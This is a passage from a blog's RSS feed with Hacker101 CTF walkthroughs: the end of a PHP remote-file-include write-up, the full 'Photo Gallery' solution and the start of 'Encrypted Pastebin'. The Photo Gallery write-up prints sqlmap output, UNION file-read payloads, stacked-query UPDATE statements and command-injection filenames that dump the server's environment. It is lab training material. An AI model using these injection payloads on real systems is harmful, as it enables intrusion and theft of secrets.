&lt;p&gt;Trying to access &lt;code class=&quot;language-text&quot;&gt;https://&amp;lt;subdomain&gt;.ctf.hacker101.com/?page=admin.inc&lt;/code&gt; actually allows us to become admin! Not only that, right at the bottom of the page we can see our second flag!&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;php&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;Admin flag is ^FLAG^&amp;lt;flag&amp;gt;$FLAG$&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;We also see our previous comment that we posted with the PHP code waiting for approval!&lt;/p&gt;
&lt;h2&gt;Third flag&lt;/h2&gt;
&lt;p&gt;After approving our pending comment and going back to the main page we can’t see our comment. Inspecting the HTML shows why:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;php&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;&amp;lt;p&amp;gt;&amp;lt;!--?php echo &amp;quot;test&amp;quot; ?--&amp;gt;&amp;lt;/p&amp;gt;&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;Our comment is being HTML escaped! How can we make our comments actually run PHP code?&lt;/p&gt;
&lt;h2&gt;Loading from localhost&lt;/h2&gt;
&lt;p&gt;I got lucky here and remembered that PHP has a configuration directive called &lt;a href=&quot;https://beaglesecurity.com/blog/vulnerability/allow-url-fopen-is-enabled.html&quot;&gt;allow_url_include&lt;/a&gt; that allows us to load files from a URL as opposed to a local file path. This is a dangerous directive that should rarely be enabled in production, but it’s enabled in this challenge. We can use this to load files from our localhost and bypass the HTML escaping.&lt;/p&gt;
&lt;p&gt;Calling &lt;code class=&quot;language-text&quot;&gt;https://&amp;lt;subdomain&gt;.ctf.hacker101.com/?page=http://localhost/index&lt;/code&gt; actually makes our &lt;code class=&quot;language-text&quot;&gt;echo &apos;test&apos;&lt;/code&gt; output &lt;code class=&quot;language-text&quot;&gt;test&lt;/code&gt; to the page. This works because we are forcing the server to interpret PHP twice. This might not be obvious at a first glance, so let’s try to explain things step by step:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;We request &lt;code class=&quot;language-text&quot;&gt;https://&amp;lt;subdomain&gt;.ctf.hacker101.com/?page=http://localhost/index&lt;/code&gt; to the server&lt;/li&gt;
&lt;li&gt;The server starts interpreting our &lt;code class=&quot;language-text&quot;&gt;index.php&lt;/code&gt; page&lt;/li&gt;
&lt;li&gt;We reach the &lt;code class=&quot;language-text&quot;&gt;include&lt;/code&gt; statement that causes a second request to the server in the form of &lt;code class=&quot;language-text&quot;&gt;http://localhost/index&lt;/code&gt;. Notice that this request doesn’t have the &lt;code class=&quot;language-text&quot;&gt;page&lt;/code&gt; parameter, which will prevent us from hitting an infinite loop.&lt;/li&gt;
&lt;li&gt;This second request will return our comments, which contains: &lt;code class=&quot;language-text&quot;&gt;&amp;lt;?php echo &apos;test&apos; ?&gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;This gets returned to the main request, which now contains our comments. These comments are now interpreted as PHP code since they are part of the main page.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Now that we are able to execute PHP code we can start reading files from our server. Let’s create a comment with the following contents:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;php&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;&amp;lt;?php echo file_get_contents(&amp;#39;index.php&amp;#39;) ?&amp;gt;&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;Now we do:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Go to &lt;code class=&quot;language-text&quot;&gt;?page=admin.inc&lt;/code&gt; and approve our comment&lt;/li&gt;
&lt;li&gt;Load &lt;code class=&quot;language-text&quot;&gt;?page=http://localhost/index&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Inspect the HTML&lt;/li&gt;
&lt;li&gt;Get our third and last flag!&lt;/li&gt;
&lt;/ol&gt;
&lt;deckgo-highlight-code language=&quot;php&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;// ^FLAG^&amp;lt;flag&amp;gt;$FLAG$
mysql_connect(&amp;quot;localhost&amp;quot;, &amp;quot;root&amp;quot;, &amp;quot;&amp;quot;);
mysql_select_db(&amp;quot;level4&amp;quot;);
$page = isset($_GET[&amp;#39;page&amp;#39;]) ? $_GET[&amp;#39;page&amp;#39;] : &amp;#39;home.inc&amp;#39;;
if(strpos($page, &amp;#39;:&amp;#39;) !== false &amp;amp;&amp;amp; substr($page, 0, 5) !== &amp;quot;http:&amp;quot;)
  $page = &amp;quot;home.inc&amp;quot;;

if(isset($_POST[&amp;#39;body&amp;#39;])) {
// ...&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;This was a fun challenge that required a bit of PHP knowledge, enumeration and taught us about the dangers of &lt;code class=&quot;language-text&quot;&gt;allow_url_include&lt;/code&gt;. I’m not sure how realistic the &lt;code class=&quot;language-text&quot;&gt;admin.auth.inc&lt;/code&gt; to &lt;code class=&quot;language-text&quot;&gt;admin.inc&lt;/code&gt; is, but allowing it to be found through enumeration was a fun touch.&lt;/p&gt;
&lt;p&gt;Thanks for reading and I will see you in our next post!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Photo Gallery walkthrough]]></title><description><![CDATA[Writeup for the Hacker101 CTF challenge Photo Gallery]]></description><link>https://bernardoamc.com/hacker101-ctf/photo_gallery/</link><guid isPermaLink="false">https://bernardoamc.com/hacker101-ctf/photo_gallery/</guid><pubDate>Sun, 16 Oct 2022 09:30:00 GMT</pubDate><content:encoded>&lt;p&gt;This is the next challenge from &lt;a href=&quot;https://ctf.hacker101.com/&quot;&gt;Hacker101 CTF&lt;/a&gt; after &lt;code class=&quot;language-text&quot;&gt;Encrypted Pastebin&lt;/code&gt;. This is a web challenge rated as moderate. Let’s dive right into it.&lt;/p&gt;
&lt;h2&gt;Recon&lt;/h2&gt;
&lt;p&gt;The homepage displays three images, but the last one doesn’t render correctly. The first thing I tend to do when using a new service is to understand on a higher level how it works. Let’s inspect the source code and the network calls made by the page.&lt;/p&gt;
&lt;p&gt;In our network tab we notice calls to the endpoint &lt;code class=&quot;language-text&quot;&gt;/fetch=&amp;lt;id&gt;&lt;/code&gt;. It’s also interesting that the id with value &lt;code class=&quot;language-text&quot;&gt;3&lt;/code&gt; causes an Internal Server error while ids &lt;code class=&quot;language-text&quot;&gt;1&lt;/code&gt; and &lt;code class=&quot;language-text&quot;&gt;2&lt;/code&gt; are fine. Let’s keep that in mind since the service might be vulnerable to an IDOR or SQLi.&lt;/p&gt;
&lt;p&gt;In order to find hidden ids I like to use &lt;a href=&quot;https://github.com/ffuf/ffuf&quot;&gt;ffuf&lt;/a&gt; to fuzz values.  Let’s create a &lt;code class=&quot;language-text&quot;&gt;range.txt&lt;/code&gt; file with 50 ids and feed those to &lt;code class=&quot;language-text&quot;&gt;ffuf&lt;/code&gt;.&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;$ range 50 &amp;gt; range.txt
$ ffuf -w range.txt --mc &amp;quot;all&amp;quot; -u https://&amp;lt;subdomain&amp;gt;.ctf.hacker101.com/fetch?id=FUZZ
...&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;Nothing stands out here, only the first two images returns status &lt;code class=&quot;language-text&quot;&gt;200&lt;/code&gt;. In this case I used &lt;code class=&quot;language-text&quot;&gt;--mc &quot;all&quot;&lt;/code&gt; to display every response irrespective of status code since I wanted to see if we could find other ids that would give us an Internal Server Error, but we couldn’t find any other one besides &lt;code class=&quot;language-text&quot;&gt;3&lt;/code&gt;, which we already knew about.&lt;/p&gt;
&lt;p&gt;Sometimes endpoints respond to other HTTP methods besides the usual &lt;code class=&quot;language-text&quot;&gt;GET&lt;/code&gt;, is that the case here? Let’s try to see if our endpoint responds to a &lt;code class=&quot;language-text&quot;&gt;POST&lt;/code&gt; request.&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;$ curl -X POST https://&amp;lt;subdomain&amp;gt;.ctf.hacker101.com/fetch
&amp;lt;!DOCTYPE HTML PUBLIC &amp;quot;-//W3C//DTD HTML 3.2 Final//EN&amp;quot;&amp;gt;
&amp;lt;title&amp;gt;405 Method Not Allowed&amp;lt;/title&amp;gt;
&amp;lt;h1&amp;gt;Method Not Allowed&amp;lt;/h1&amp;gt;
&amp;lt;p&amp;gt;The method is not allowed for the requested URL.&amp;lt;/p&amp;gt;&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;Seems like it doesn’t. Maybe we should try to discover more endpoints in this service. Let’s use &lt;code class=&quot;language-text&quot;&gt;ffuf&lt;/code&gt; yet again with a different wordlist.&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;$ ffuf -w /usr/share/wordlists/dirb/common.txt -u https://&amp;lt;subdomain&amp;gt;.ctf.hacker101.com/FUZZ
...&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;No interesting results yet again! At this point my idea is to find out if we can abuse the &lt;code class=&quot;language-text&quot;&gt;id&lt;/code&gt; query parameter in any way. Passing the value &lt;code class=&quot;language-text&quot;&gt;foo&lt;/code&gt; to it generates a &lt;code class=&quot;language-text&quot;&gt;500&lt;/code&gt; (internal server error), which is interesting. Passing &lt;code class=&quot;language-text&quot;&gt;&quot;foo&quot;&lt;/code&gt; returns a &lt;code class=&quot;language-text&quot;&gt;404&lt;/code&gt; status code.&lt;/p&gt;
&lt;p&gt;At this point I’m convinced our input is causing some kind of internal query (hopefully SQL) to error out, but we don’t have access to the output. Passing &lt;code class=&quot;language-text&quot;&gt;&quot;1&quot;&lt;/code&gt; instead of &lt;code class=&quot;language-text&quot;&gt;1&lt;/code&gt; makes the server return something interesting:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;����JFIF�����ExifMM*JR(1Z�ih��paint.net 4.1��zzUNICODECREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90 ��C  #,%!*!&amp;amp;4&amp;#39;*./121%6:60:,010��C  0  00000000000000000000000000000000000000000000000000����&amp;quot;�� ���}!1AQa&amp;quot;q2���#B��R��$3br�
...&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;Passing &lt;code class=&quot;language-text&quot;&gt;&quot;2&quot;&lt;/code&gt; also returns a similar output, but passing something like &lt;code class=&quot;language-text&quot;&gt;&quot;100&quot;&lt;/code&gt; returns a not found status. I’m convinced that we can exploit this somehow, so let’s turn to &lt;code class=&quot;language-text&quot;&gt;sqlmap&lt;/code&gt; to try all sorts of techniques for us.&lt;/p&gt;
&lt;h2&gt;SQL Injection&lt;/h2&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;$ sqlmap -u https://&amp;lt;subdomain&amp;gt;.ctf.hacker101.com/login?id=1 -p &amp;quot;id&amp;quot; --dump
...
[18:23:58] [INFO] GET parameter &amp;#39;id&amp;#39; appears to be &amp;#39;MySQL &amp;gt;= 5.0.12 OR time-based blind (SLEEP)&amp;#39; injectable 
...
GET parameter &amp;#39;id&amp;#39; is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 312 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 9950=9950

    Type: time-based blind
    Title: MySQL &amp;gt;= 5.0.12 OR time-based blind (SLEEP)
    Payload: id=1 OR SLEEP(5)
---
[18:26:52] [INFO] the back-end DBMS is MySQL&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;And as we thought that endpoint was vulnerable to SQL injection! Here’s the dump of the database:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;Database: level5
Table: albums
[1 entry]
+----+---------+
| id | title   |
+----+---------+
| 1  | Kittens |
+----+---------+

Table: photos
[3 entries]
+----+------------------+--------+------------------------------------------------------------------+
| id | title            | parent | filename                                                         |
+----+------------------+--------+------------------------------------------------------------------+
| 1  | Utterly adorable | 1      | files/adorable.jpg                                               |
| 2  | Purrfect         | 1      | files/purrfect.jpg                                               |
| 3  | Invisible        | 1      | &amp;lt;flag&amp;gt; |
+----+------------------+--------+------------------------------------------------------------------+&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;Now we know the tables and columns and we can have an idea of how the server works. I would bet the query triggered from &lt;code class=&quot;language-text&quot;&gt;/fetch?id=&amp;lt;id&gt;&lt;/code&gt; is something like:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;sql&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;SELECT filename FROM photos where id = &amp;lt;id&amp;gt;; &lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;This implies that the server loads whatever filename it gets from the database and sends it back to the client. Can we load other files besides our images? Let’s keep this in mind after investigating the third entry in the &lt;code class=&quot;language-text&quot;&gt;photos&lt;/code&gt; table.&lt;/p&gt;
&lt;p&gt;The query to &lt;code class=&quot;language-text&quot;&gt;id&lt;/code&gt; number &lt;code class=&quot;language-text&quot;&gt;3&lt;/code&gt; returns &lt;code class=&quot;language-text&quot;&gt;500&lt;/code&gt; because that file seems to be missing. Lucky for us that missing file is our first flag!&lt;/p&gt;
&lt;h2&gt;Arbitrary file loading&lt;/h2&gt;
&lt;p&gt;Let’s get back to our hypothesis that we can load files from our server. Would it be possible to load any file using a query like the one below?&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;sql&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;SELECT filename FROM photos where id = 4 UNION SELECT &amp;#39;&amp;lt;our file&amp;gt;&amp;#39;; &lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;Let’s try it with &lt;code class=&quot;language-text&quot;&gt;files/adorable.jpg &lt;/code&gt; since we know this file exists. I’m also using &lt;code class=&quot;language-text&quot;&gt;id&lt;/code&gt; as &lt;code class=&quot;language-text&quot;&gt;4&lt;/code&gt; because we know this &lt;code class=&quot;language-text&quot;&gt;id&lt;/code&gt; doesn’t exist in our table.&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;sql&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;https://&amp;lt;subdomain&amp;gt;.ctf.hacker101.com/fetch?id=4 UNION SELECT &amp;#39;files/adorable.jpg&amp;#39;; --&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;And we got our status &lt;code class=&quot;language-text&quot;&gt;200&lt;/code&gt; answer as expected! The only problem is that we don’t know how the files in our application are named.&lt;/p&gt;
&lt;p&gt;At this point I got a bit lost and had to get hints for this challenge, the one that helped me the most was:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;This application runs on the uwsgi-nginx-flask-docker image&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;Which pointed me to: &lt;a href=&quot;https://github.com/tiangolo/uwsgi-nginx-flask-docker&quot;&gt;https://github.com/tiangolo/uwsgi-nginx-flask-docker&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;According to this docker image we are running python and we usually have an &lt;code class=&quot;language-text&quot;&gt;app&lt;/code&gt; directory with files named:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;uwsgi.ini&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;main.py&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So I started querying for &lt;code class=&quot;language-text&quot;&gt;main.py&lt;/code&gt;  we get the file:&lt;/p&gt;
&lt;deckgo-highlight-code   highlight-lines=&quot;undefined&quot;&gt;
          &lt;code slot=&quot;code&quot;&gt;https://&amp;lt;subdomain&amp;gt;.ctf.hacker101.com/fetch?id=?id=4 UNION SELECT &amp;#39;main.py&amp;#39;; --&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;And inspecting the source code of the page allow us to read the contents of our &lt;code class=&quot;language-text&quot;&gt;main.py&lt;/code&gt; file:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;python&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;from flask import Flask, abort, redirect, request, Response
import base64, json, MySQLdb, os, re, subprocess
app = Flask(__name__)
home = &amp;#39;&amp;#39;&amp;#39;
&amp;lt;!doctype html&amp;gt;
&amp;lt;html&amp;gt;
	&amp;lt;head&amp;gt;
		&amp;lt;title&amp;gt;Magical Image Gallery&amp;lt;/title&amp;gt;
	&amp;lt;/head&amp;gt;
	&amp;lt;body&amp;gt;
		&amp;lt;h1&amp;gt;Magical Image Gallery&amp;lt;/h1&amp;gt;
$ALBUMS$
	&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&amp;#39;&amp;#39;&amp;#39;
viewAlbum = &amp;#39;&amp;#39;&amp;#39;
&amp;lt;!doctype html&amp;gt;
&amp;lt;html&amp;gt;
	&amp;lt;head&amp;gt;
		&amp;lt;title&amp;gt;$TITLE$ -- Magical Image Gallery&amp;lt;/title&amp;gt;
	&amp;lt;/head&amp;gt;
	&amp;lt;body&amp;gt;
		&amp;lt;h1&amp;gt;$TITLE$&amp;lt;/h1&amp;gt;
$GALLERY$
	&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&amp;#39;&amp;#39;&amp;#39;
def getDb():
	return MySQLdb.connect(host=&amp;quot;localhost&amp;quot;, user=&amp;quot;root&amp;quot;, password=&amp;quot;&amp;quot;, db=&amp;quot;level5&amp;quot;)
def sanitize(data):
	return data.replace(&amp;#39;&amp;amp;&amp;#39;, &amp;#39;&amp;amp;amp;&amp;#39;).replace(&amp;#39;&amp;lt;&amp;#39;, &amp;#39;&amp;amp;lt;&amp;#39;).replace(&amp;#39;&amp;gt;&amp;#39;, &amp;#39;&amp;amp;gt;&amp;#39;).replace(&amp;#39;&amp;quot;&amp;#39;, &amp;#39;&amp;amp;quot;&amp;#39;)
@app.route(&amp;#39;/&amp;#39;)
def index():
	cur = getDb().cursor()
	cur.execute(&amp;#39;SELECT id, title FROM albums&amp;#39;)
	albums = list(cur.fetchall())
	rep = &amp;#39;&amp;#39;
	for id, title in albums:
		rep += &amp;#39;&amp;lt;h2&amp;gt;%s&amp;lt;/h2&amp;gt;\n&amp;#39; % sanitize(title)
		rep += &amp;#39;&amp;lt;div&amp;gt;&amp;#39;
		cur.execute(&amp;#39;SELECT id, title, filename FROM photos WHERE parent=%s LIMIT 3&amp;#39;, (id, ))
		fns = []
		for pid, ptitle, pfn in cur.fetchall():
			rep += &amp;#39;&amp;lt;div&amp;gt;&amp;lt;img src=&amp;quot;[fetch?id=%i](view-source:https://67d88c594684dc2c38c7880002121440.ctf.hacker101.com/fetch?id=%i)&amp;quot; width=&amp;quot;266&amp;quot; height=&amp;quot;150&amp;quot;&amp;gt;&amp;lt;br&amp;gt;%s&amp;lt;/div&amp;gt;&amp;#39; % (pid, sanitize(ptitle))
			fns.append(pfn)
		rep += &amp;#39;&amp;lt;i&amp;gt;Space used: &amp;#39; + subprocess.check_output(&amp;#39;du -ch %s || exit 0&amp;#39; % &amp;#39; &amp;#39;.join(&amp;#39;files/&amp;#39; + fn for fn in fns), shell=True, stderr=subprocess.STDOUT).strip().rsplit(&amp;#39;\n&amp;#39;, 1)[-1] + &amp;#39;&amp;lt;/i&amp;gt;&amp;#39;
		rep += &amp;#39;&amp;lt;/div&amp;gt;\n&amp;#39;
	return home.replace(&amp;#39;$ALBUMS$&amp;#39;, rep)
@app.route(&amp;#39;/fetch&amp;#39;)
def fetch():
	cur = getDb().cursor()
	if cur.execute(&amp;#39;SELECT filename FROM photos WHERE id=%s&amp;#39; % request.args[&amp;#39;id&amp;#39;]) == 0:
		abort(404)
	# It&amp;#39;s dangerous to go alone, take this:
	# ^FLAG^...$FLAG$
	return file(&amp;#39;./%s&amp;#39; % cur.fetchone()[0].replace(&amp;#39;..&amp;#39;, &amp;#39;&amp;#39;), &amp;#39;rb&amp;#39;).read()
if __name__ == &amp;quot;__main__&amp;quot;:
	app.run(host=&amp;#39;0.0.0.0&amp;#39;, port=80)&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;And we get another flag!&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;python&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;# It&amp;#39;s dangerous to go alone, take this:
# ^FLAG^...$FLAG$&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;Besides that a few other things stand out in this source code.&lt;/p&gt;
&lt;h3&gt;subprocess&lt;/h3&gt;
&lt;p&gt;The &lt;code class=&quot;language-text&quot;&gt;subprocess.check_output&lt;/code&gt; method accepts our filenames without any encoding or sanitization. If we can somehow overwrite a filename in the database we should be able to get remote code execution.&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;python&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;subprocess.check_output(&amp;#39;du -ch %s || exit 0&amp;#39; % &amp;#39; &amp;#39;.join(&amp;#39;files/&amp;#39; + fn for fn in fns), shell=True, stderr=subprocess.STDOUT)&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;Our plan is to do something like:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;du -ch filenames; &amp;lt;our command&amp;gt; || exit 0&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;So we need to have a file named &lt;code class=&quot;language-text&quot;&gt;; &amp;lt;our command&gt;&lt;/code&gt; as the &lt;strong&gt;last one&lt;/strong&gt; in the list.&lt;/p&gt;
&lt;h3&gt;Database query in the fetch endpoint&lt;/h3&gt;
&lt;p&gt;Our query for a &lt;code class=&quot;language-text&quot;&gt;photo&lt;/code&gt; has the following format:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;sql&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;if cur.execute(&amp;#39;SELECT filename FROM photos WHERE id=%s&amp;#39; % request.args[&amp;#39;id&amp;#39;]) == 0&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;We already know our query is vulnerable to SQL injection and that we are using MySQL from our source code. MySQL also has a concept called stacked queries that allows us to send multiple queries to our database at the same time. If this is enabled we can inject whatever filename we want and cause remote code execution.&lt;/p&gt;
&lt;p&gt;I would like to stop here and say that finding this wasn’t straightforward at all and required a lot of research on potential ways to exploit MySQL through SQL injection.&lt;/p&gt;
&lt;p&gt;Let’s validate this approach with an &lt;code class=&quot;language-text&quot;&gt;id&lt;/code&gt; like:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;sql&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;1; INSERT INTO photos (id, title, parent, filename) VALUES (4, &amp;#39;Potato&amp;#39;, 1, &amp;#39;files/adorable.jpg&amp;#39;);&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;This will:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Query for the &lt;code class=&quot;language-text&quot;&gt;id=1&lt;/code&gt; which we know exists&lt;/li&gt;
&lt;li&gt;INSERT a new value in our database with a file that we know exists&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;There’s one trick to this though, we need to &lt;code class=&quot;language-text&quot;&gt;commit&lt;/code&gt; the value to our database. By default this doesn’t happen as we can see in &lt;a href=&quot;https://dev.mysql.com/doc/connector-python/en/connector-python-example-cursor-transaction.html&quot;&gt;this example&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;So let’s modify our payload above:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;sql&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;1; INSERT INTO photos (id, title, parent, filename) VALUES (4, &amp;#39;Potato&amp;#39;, 1, &amp;#39;files/adorable.jpg&amp;#39;); commit;&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;And now querying with &lt;code class=&quot;language-text&quot;&gt;/fetch?id=4&lt;/code&gt; returns our image!&lt;/p&gt;
&lt;p&gt;It’s time to get remote code execution (RCE). Or so I though… Going back to the homepage did not display my new photo. Going back to the source code to understand why made me notice the &lt;code class=&quot;language-text&quot;&gt;LIMIT 3&lt;/code&gt; in the query below:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;python&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;cur.execute(&amp;#39;SELECT id, title, filename FROM photos WHERE parent=%s LIMIT 3&amp;#39;&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;I guess we need to update one of our records with the value we want instead of creating a new one. Or delete the existing ones, any solution is a valid one. Let’s go with the &lt;code class=&quot;language-text&quot;&gt;UPDATE&lt;/code&gt; one and do some recon on the file system:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;sql&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;1; UPDATE photos SET filename=&amp;quot;;ls &amp;gt; recon.txt&amp;quot; where id=3; commit;&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;Now we can go back and refresh the homepage so the &lt;code class=&quot;language-text&quot;&gt;&apos;du -ch &amp;lt;files&gt;; &amp;lt;our command&gt; || exit 0&apos;&lt;/code&gt; command is executed and then we can read our new file with:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;sql&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;?id=6 UNION SELECT &amp;#39;recon.txt&amp;#39;;&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;we get:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;Dockerfile files main.py main.pyc prestart.sh recon.txt requirements.txt uwsgi.ini&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;Let’s investigate these other files! After going over these one by one, the one that gave me an idea was &lt;code class=&quot;language-text&quot;&gt;prestart.sh&lt;/code&gt; since it contains the contents:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;#!/bin/bash set -e service mysql start &amp;amp; python setup.py rm setup.py&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;Could this &lt;code class=&quot;language-text&quot;&gt;setup.py&lt;/code&gt; be adding something to our environment? Let’s validate this by adding the contents our environment to our &lt;code class=&quot;language-text&quot;&gt;recon.txt&lt;/code&gt; file with the &lt;code class=&quot;language-text&quot;&gt;env&lt;/code&gt; command:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;sql&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;1; UPDATE photos SET filename=&amp;quot;;env &amp;gt; recon.txt&amp;quot; where id=3; commit;&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;And reading this file gives us our last flag, and all the other ones!&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;...
FLAGS=[&amp;quot;^FLAG^...$FLAG$&amp;quot;,&amp;quot;^FLAG^...$FLAG$&amp;quot;,&amp;quot;^FLAG^...$FLAG$&amp;quot;]
...&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;This was a fun challenge that forced us to read source code and also use and learn a bunch about SQL and MySQL features. Thinking back, instead of getting a hint we could have tried to enumerate our server for common files like &lt;code class=&quot;language-text&quot;&gt;README.md&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;Dockerfile&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;main.py&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;Procfile&lt;/code&gt; and so on until we found a hit. Let’s keep it in mind for future sessions.&lt;/p&gt;
&lt;p&gt;Thanks for reading and I will see you in our next challenge!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Encrypted Pastebin walkthrough]]></title><description><![CDATA[Writeup for the Hacker101 CTF challenge Encrypted Pastebin]]></description><link>https://bernardoamc.com/hacker101-ctf/encrypted_pastebin/</link><guid isPermaLink="false">https://bernardoamc.com/hacker101-ctf/encrypted_pastebin/</guid><pubDate>Sun, 09 Oct 2022 09:30:00 GMT</pubDate><content:encoded>&lt;p&gt;This is the next challenge from &lt;a href=&quot;https://ctf.hacker101.com/&quot;&gt;Hacker101 CTF&lt;/a&gt;. This challenge is a mix of web and cryptography and is likely to be one of the harder challenges of this CTF since it requires quite a bit of theory.&lt;/p&gt;
&lt;h2&gt;Intro&lt;/h2&gt;
&lt;p&gt;As soon as we load the challenge we see the following text:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;python&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;We&amp;#39;ve developed the most secure pastebin on the internet. Your data is protected with military-grade 128-bit AES encryption. The key for your data is never stored in our database, so no hacker can ever gain unauthorized access.&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;There are two important things in the previous message:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;128-bit AES encryption&lt;/li&gt;
